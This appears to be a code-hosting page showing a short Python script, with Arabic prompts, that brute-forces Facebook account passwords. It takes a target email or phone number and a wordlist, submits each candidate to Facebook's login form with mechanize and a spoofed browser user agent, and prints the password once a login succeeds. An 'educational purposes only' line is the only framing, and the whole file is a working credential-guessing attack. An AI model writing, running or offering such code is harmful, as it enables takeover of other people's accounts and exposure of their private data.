File size: 1,851 Bytes
14bd436
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
from bs4 import BeautifulSoup
import mechanize
import sys

def facebook_cracker():
    print("\n\n\t\t=== أداة تخمين كلمة مرور فيسبوك ===")
    print("\t\t(هذا الكود للأغراض التعليمية فقط)\n")
    
    email = input("أدخل البريد الإلكتروني أو رقم الهاتف: ")
    password_list = input("أدخل مسار ملف كلمات المرور (wordlist.txt): ")
    
    try:
        with open(password_list, 'r') as file:
            passwords = file.readlines()
    except:
        print("\n[!] خطأ في فتح ملف كلمات المرور")
        sys.exit(1)
    
    br = mechanize.Browser()
    br.set_handle_robots(False)
    br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36')]
    
    print("\n[+] بدء عملية التخمين...")
    
    for password in passwords:
        password = password.strip()
        try:
            br.open("https://www.facebook.com/login.php")
            br.select_form(nr=0)
            br.form['email'] = email
            br.form['pass'] = password
            response = br.submit()
            
            if "login_attempt" not in response.geturl():
                print("\n[+] تم العثور على كلمة المرور!")
                print(f"[+] كلمة المرور هي: {password}")
                sys.exit(0)
            else:
                print(f"[-] تجربة كلمة المرور: {password} - فشلت")
        except:
            print("\n[!] حدث خطأ أثناء الاتصال بفيسبوك")
            sys.exit(1)
    
    print("\n[-] لم يتم العثور على كلمة المرور في القائمة المقدمة")

if __name__ == "__main__":
    facebook_cracker()